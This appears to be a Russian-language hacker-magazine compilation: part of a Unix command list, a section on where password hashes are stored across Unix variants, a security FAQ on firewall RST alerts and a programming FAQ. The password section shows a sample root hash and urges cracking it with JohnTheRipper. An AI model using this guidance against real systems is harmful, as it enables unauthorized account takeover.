вывод информации о соединениях с удаленными системами
uulog

создание нового текстового файла
cat, dtpad, textedit, xedit

вывод полного имени файла
basename

разбиение файла на кучки
split
Например: split –b 10000000 file (на 10 Мб)

шифрование файла
crypt

печать формул
eqn, neqn

отображение шрифта
xfd, xfontsel

вывод списка доступных шрифтов
xlsfonts, fslsfonts

отправка и чтение электронной почты
mail, mailx, dtmail, mailtool

уведомление о получении новых писем по электронной почте
notify, xbiff

удалить повторяющиеся строки в отсортированном файле
uniq

Справку, как использовать любую команду можно получить, набрав man имя_команды.

Еще немного полезной информации тут: wwwsector.h1.ru/unix_com.htm

Где хранятся пароли UNIX

Вопреки распространенному мнению, пароли редко находятся в файле /etc/passwd. Если админ сервера не полный олух то все пароли содержаться в /etc/shadow. Например, если в файле /etc/passwd написано что-то типа:

root:*:0:0:root:/root:/bin/bash
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin

то тут ничего интересного... хеш пароля должен быть вместо звездочки.

Но если там что-то наподобие:

root:$1$OQ.PPy.z$PYjOjOD5WlHBJPYM9i0tg0:0:0:root:/root:/bin/bash

то тебе повезло! $1$OQ.PPy.z$PYjOjOD5WlHBJPYM9i0tg0 и есть хеш пароля рута. Бери JohnTheRipper, или PasswordsPro и пробуй расшифровать.

Место, где находятся пароли

AIX 3
/etc/security/passwd !/tcb/auth/files/[first letter #of username]/[username]

A/UX 3.0s
/tcb/files/auth/?/*

BSD4.3-Reno
/etc/master.passwd *

ConvexOS 10
/etc/shadpw *

ConvexOS 11
/etc/shadow *

DG/UX
/etc/tcb/aa/user/ *

EP/IX
/etc/shadow x

HP-UX
/.secure/etc/passwd *

IRIX 5
/etc/shadow x

Linux 1.1
/etc/shadow *

OSF/1
/etc/passwd[.dir|.pag] *

SCO UNIX #.2.x
/tcb/auth/files/[first letter* of username]/[username]

SunOS4.1+c2
/etc/security/passwd.adjunct ##username

SunOS 5.0
/etc/shadow[optional NIS+ private secure maps/tables/whatever]

System V Release 4.0
/etc/shadow x

System V Release 4.2
/etc/security/* database

Ultrix 4
/etc/auth[.dir|.pag] *

UNICOS
/etc/udb *
FAQ по безопасности

Мой файрвол время от времени сообщает мне об RST-атаках, или сканировании портов с сайтов, которые я посещаю. За мной кто-то следит?

RST - это не обязательно настоящая атака. Существует возможность сброса установленного TCP подключения с помощью посылки соответствующих TCP пакетов с набором флагов RST или SYN. Подробно про то, как действительно используют эту уязвимость, можно прочитать на секлабе: wwwsecuritylab.ru/analytics/216346.php.

Но это в теории. В реальности, чаще всего, это ложная тревога.

Если в двух словах, то при серфинге интернета, согласно TCP протоколу, твой компьютер посылает пакеты с какого-нибудь порта (заметь, с любого произвольного порта) на сервер, и ожидает ответа. Если ответа нет, соединение, закрывается. Но есть одно "но" - все пакеты шлются через множество серверов, и один из них, в том числе и тот сайт, к которому ты обращаешься, может просто протормозить с ответом. В итоге, когда он таки вспомнит про тебя, то пришлет пакет с этим самым флагом RST на, увы, уже закрытый порт. А любые пакеты на закрытые порты файрволл (аутпост в частности) воспринимает как попытку сканирования, о чем тебе и сообщает.

Как определить, настоящая это атака, или нет? Посмотреть whois ip, с которого была "атака" (wwwwhois-service.ru). Если это обычный сайт, вроде yandex.ru, или xakep.ru, то имеет место быть именно та ситуация, которую я описал, скорее всего, ты сидишь за каким-нибудь тормозным прокси-сервером. Если же это какой-нибудь подозрительный сайт, на котором ты ни разу не был, или же ip вообще не имеет домена, тогда бей тревогу.

Хотя, собственно, зачем? Аутпост у тебя есть, атаки отражает. Вот если бы он сказал "Поздравляем! RST-атака Вашего компьютера успешно проведена", это было бы хуже :)

Если просто хочешь отомстить, можешь настучать провайдеру взломщиков, которого можно узнать в том же whois. Там же будет и abuse-адрес провайдера, куда следует писать о нарушениях.

Как безопасно серфить сеть?

Если вкратце, то следует установить виртуальную машину типа VM Ware, настроить виртуальную сеть (благо она это позволяет) и выходить в Сеть только через нее. Если расширенно - прочитай http://www.xakep.ru//post/36536/default.asp.
FAQ по программированию

Какие языки программирования следует изучать в первую очередь?

Важен не сам язык, а мысли, которые этим языком выражают. Практически любую алгоритмическую задачу можно решить на любом языке (за какое время и с какой эффективностью — это уже другой вопрос), поэтому неважно, с какого языка начинать, - все равно за время его изучения он успеет устареть. И следует выбирать тот язык, для изучения которого есть хорошие учебники по программированию, а так же знакомые специалисты, способные проконсультировать и помочь, если вдруг что-то пойдет не так, ведь язык — это не только способ записи алгоритма, но еще и средство общения! В этом качестве языку Си нет равных, и de facto он стал международным стандартом типа английского. Знать его нужно не только затем, чтобы на нем программировать, но и чтобы понимать листинги, приведенные в книгах, посвященных сетевым протоколам или устройству осей. Visual Basic – de facto стандарт в области макроязыков на платформе Windows, и без его знания невозможно эффективно работать с Microsoft Visual Studio. Но Basic совершенно чужд миру UNIX, где ведущую роль играют Perl, AWK и другие скриптовые языки. Если человек может решить свою задачу на языке Х, переход на другой язык для него не будет проблемой.

Стоит ли хвататься за новые технологии типа .NET или посоветуешь держаться старых?

Отечественная система образования до безобразия консервативна и крайне неохотно реагирует на новые технологические веяния и прорывы, поэтому в 99% случаев выпускник ВУЗа к реальной работе не готов и ему следует еще учиться и учиться. А все потому, что у нас традиционно учили фундаментальным основам, а вот американцы, напротив, делают упор на конкретное практическое применение. Девушки, окончившие 2-недельные курсы по Visual Basic'у, составляют определенную конкуренцию специалистам, знающим Си++, потому что они в курсе того, какие есть библиотеки и как ими пользоваться, но создать их самостоятельно не в состоянии. Все, что они могут — это сложить готовые компоненты воедино (а другого зачастую и не требуется). Алгоритмически-ориентированный программист готов запрограммировать что угодно, но... он совершенно не в курсе, какие существуют библиотеки, и не умеет с ними работать. Поэтому при решении типовых задач наиболее конкурентоспособным оказывается программист, идущий в ногу с прогрессом и осваивающий новые библиотеки и framewaork'и по мере их появления, а вот при решении нетипичных задач программисты, знающие фундаментальные основы, получают огромное преимущество. Некоторые ухитряются совмещать оба качества, но это удается лишь немногим.

Насколько важно знать ассемблер?

Несмотря на то, что ассемблер сдает свои позиции, профессиональному программисту знать его необходимо, хотя бы затем, чтобы разбирать аварийные дампы и правильно интерпретировать сообщения о критических ошибках. Не говоря уже о том, что создание эффективного кода без знания архитектуры процессора (и всего компьютера в целом) — невозможно. Знание ассемблера позволяет заглянуть внутрь откомпилированной программы и понять, почему она ведет себя не так, как этого хочется тебе. Операционная система перестает быть черным ящиком, а отсутствие исходных текстов Windows уже не становится преградой в археологических раскопках ее недр. Аргументы в пользу ассемблера можно перечислять бесконечно, и как бы современные языки ни абстрагировались от железа, в жизни каждого программиста периодически возникает жгучая необходимость написать пару ассемблерных строк или понять, что означают уже написанные.

Как устроиться на хорошую работу в России и за рубежом?

Из двух работ лучшей будет та, которая больше нравится тебе. Отсюда следует, что работу нужно искать в соответствии со своими предпочтениями, при этом не пытаясь навязывать эти предпочтения другим. Если на такой-то фирме используется преимущественно DELPHI, глупо пытаться втиснуться туда, зная один лишь Си или Ассемблер. Знания чего бы то ни было при трудоустройстве вообще вторичны. Первично умение себя подать. Матчасть здесь отдыхает, а body language очень рулит. Основная ошибка начинающих — перечисление в резюме огромного перечня языков, сред программирования, операционных систем и библиотек, с которыми они как бы умеют работать. А работодателю на фиг не нужен программист-универсал, по чуть-чуть нахватавшийся всего. Ему нужен как раз человек, знающий свою узкую предметную область, но знающий ее глубоко. К тому же не так важно, сколько программ ты написал, - важнее, сколько из них ты поддерживаешь в настоящий момент.

Почему большинство программистских проектов проваливаются?

В основном это происходит из-за чрезмерного оптимизма и незнания рыночной ситуации. Никогда не стоит исходить из положительных предпосылок. Следует сразу подготовить себя к тому, что проект не будет закончен в намеченный срок, достигнуть стабильной работы программы не удастся, пользователи не будут платить, продукт не будет востребован, и он не будет превосходить имеющиеся на рынке аналоги :). Сумеешь ли ты вести бизнес в таких условиях?! Да, сумеешь, если не станешь сразу замахиваться на большое, а начнешь с малого. Сумеешь, если засунешь идею создать массовый продукт глубоко под хвост и сконцентрируешься на удовлетворении нужд небольшой группы пользователей, игнорируемой компаниями-гигантами. Сумеешь, если вместо одного большого шага будешь делать сто маленьких шажков.

Рефракторинг — бузворд или серебряная пуля?

Существует мнение, что если код не поддерживает автоматическое тестирование, то это отстой, и что перманентный рефракторинг — залог успеха. На самом же деле, сложность тестирующих модулей зачастую в разы превосходит сложность тестируемого ими кода, к тому же тестирующие модули нужно тоже как-то тестировать, а это уже бесконечная рекурсия получается. Существует определенная граница сложности, ниже которой автоматическое тестирование кода экономически неоправданно. А системы, взаимодействующие с внешней средой, могут быть протестированы в автоматическом режиме, только если мы создадим программный эмулятор этой самой среды, который, в свою очередь, тоже будет нуждаться в тестировании. Как разорвать этот замкнутый круг? Разбивать код на множество мелких модулей, каждый из которых будет настолько прост, насколько это вообще возможно. Тестирование модулей при этом значительно упрощается, но резко возрастает количество связей между модулями и, как следствие, появляются ошибки в их взаимодействии. Более того, модульная структура сама по себе гораздо более сложная, чем монолитная. Так что выводы неутешительны. Серебряных пуль нет, качество программного обеспечения по-прежнему остается низким и радикальных прорывов в этой области не наблюдается. Это не значит, что рефракторинг бесполезен, это значит, что он должен применяться с умом.

Как защитить свой код от хакеров?

Хакеры ломают все, что трассируется (а что не трассируется, то дизассемблируется), и надеяться, что выбранная система остановит их, может только идеалист. Хакеры существуют — это факт. И развивать свой бизнес, игнорируя кряки, все равно что вести строительство в Сибири из расчета, что лето никогда не закончится и температура всегда будет держаться выше нуля. Если твоя программа — продукт, ты — «покойник». Если же твоя программа — услуга, хакеры идут лесом, поскольку «взломать» услугу нельзя. Следовательно, нужно развивать онлайновые службы, организовывать обучающие семинары, ориентироваться на комплексные решения (где сама программа — всего лишь часть большой бизнес-машины, то есть сама по себе лишена смысла). Допустим, ты написал такую простейшую штуку как каталогизатор аудио-дисков. А теперь прикрути к нему онлайновую службу, позволяющую пользователям обмениваться своими базами данных (если один человек «вбил» описание дисков в базу, зачем тысячам других делать то же самое), затем начинай привлекать лейблы (или просто магазины, торгующие дисками), предоставив им возможность информировать пользователей о новинках и вести мониторинг реальной популярности своей продукции. В этом случае основным источником прибыли окажутся именно лейблы, а прибыль будет тем выше, чем больше у тебя пользователей. Для этого программа должна распространяться бесплатно. Но даже если она платная, то взломать ее все равно очень и очень сложно, поскольку основную ценность составит онлайновая база данных, доступ к которой контролировать легче